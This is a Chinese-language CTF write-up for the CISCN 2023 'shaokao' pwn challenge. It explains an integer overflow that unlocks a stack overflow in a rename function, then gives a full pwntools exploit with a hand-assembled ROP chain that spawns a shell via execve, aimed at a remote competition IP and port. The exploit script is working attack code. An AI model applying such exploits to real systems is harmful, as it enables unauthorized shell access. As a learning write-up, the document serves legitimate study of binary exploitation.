烧烤摊儿shaokao[CISCN2023初赛]-ROP
一、保护检查
二、IDA分析
第一眼看下去还以为是菜单堆题,差点就放弃了,毕竟堆真的啥也没学。最后一路审下来,发现是整数溢出+栈溢出构造ROP链。
main函数的功能,其实就是菜单选项功能,和正常的堆题差不多。但是这个有一个比较特别的是变量own,这个变量初始化为0,所以我们一开始是无法进行gaiming()这个函数的。
分析pijiu()函数,其实就是正常的买卖逻辑,但是在这里存在一个整数溢出,可以绕过检测实现money的增加。相类似的是选项2的chuan()函数,其实和pijiu函数的逻辑差别不大。
分析yue()函数,该函数只是输入money变量的值。
分析vip函数,在这里可以看到存在使变量own的值置为1的语句,即money变量值大于100000。这里可以通过上述在pijiu函数中的整数溢出实现money变量的增长。
当我们成功使own变量值为1时,我们便能够进行gaiming()函数。可以观察到,这里存在着栈溢出,scanf函数不能够对输入长度进行限制,所以存在着栈溢出,这里就能够使用通过栈溢出实现相关攻击手法。
三、exp编写
本来一开始通过整数溢出,得到了栈溢出之后,计划着能通过ret2text或者ret2shellcode解决的,查字符串,查函数,越看越不对劲,啊?怎么啥也没有!!!这我怎么打啊!
后面只能硬着头皮猛看怎么构造ROP链去getshell,最后终于出了!
主要的难度就是构造rop链了(大佬的文章说可以直接使用工具生成,但我打的时候是一条一条gadget查的),了解一下syscall函数的调用和64位参数传递的方法,在阅读一下下边的exp吧。这里就不在详细讲述编写的过程了。
四、exp
#!/usr/bin/env python3 # Date: 2023-05-27 09:42:23 from pwn import * context.terminal = [tmux, splitw, -h] context.binary = ./shaokao context.log_level = debug context.timeout = 5 # io = process(./shaokao) io = remote(39.107.137.13, 43996) elf = ELF(./shaokao) def debug(gdbscript="", stop=False): if isinstance(io, process): gdb.attach(io, gdbscript=gdbscript) if stop: pause() stop = pause S = pause leak = lambda name, address: log.info("{} ===> {}".format(name, hex(address))) s = io.send sl = io.sendline sla = io.sendlineafter sa = io.sendafter slt = io.sendlinethen st = io.sendthen r = io.recv rn = io.recvn rr = io.recvregex ru = io.recvuntil ra = io.recvall rl = io.recvline rs = io.recvlines rls = io.recvline_startswith rle = io.recvline_endswith rlc = io.recvline_contains ia = io.interactive ic = io.close cr = io.can_recv sla("> ", b1) sl(b1) sla("? ", b-10000) sla("> ", b4) # debug("", True) # 改名 sl(b5) payload = ba*0x28 payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret payload += p64(0x00000000004E60E0)# 0x00000000004E60E0 : @.data payload += p64(0x0000000000458827)# 0x0000000000458827 : pop rax ; ret payload += b/bin/shx00 #@.data payload += p64(0x000000000045af95)# 0x000000000045af95 : mov qword ptr [rsi], rax ; ret payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8 payload += p64(0x0000000000447339)# 0x0000000000447339 : xor rax, rax ; ret payload += p64(0x000000000045af95)# 0x000000000045af95 : mov qword ptr [rsi], rax ; ret payload += p64(0x000000000040264f)# 0x000000000040264f : pop rdi ; ret payload += p64(0x00000000004E60E0)# 0x00000000004E60E0 : @.data payload += p64(0x000000000040a67e)# 0x000000000040a67e : pop rsi ; ret payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8 payload += p64(0x00000000004a404b)# 0x00000000004a404b : pop rdx ; pop rbx ; ret payload += p64(0x00000000004E60E8)# 0x00000000004E60E8 : @.data+8 payload += p64(0x4141414141414141) payload += p64(0x0000000000447339)# 0x0000000000447339 : xor rax, rax ; ret for i in range(59): payload += p64(0x0000000000496710)# 0x0000000000496710 : add rax, 1 ; ret payload += p64(0x0000000000402404)# 0x0000000000402404 syscall(59, ) rdi,rsi,rdx sl(payload) # debug("", True) ia()
下一篇:
锐捷Linux客户端连接校园网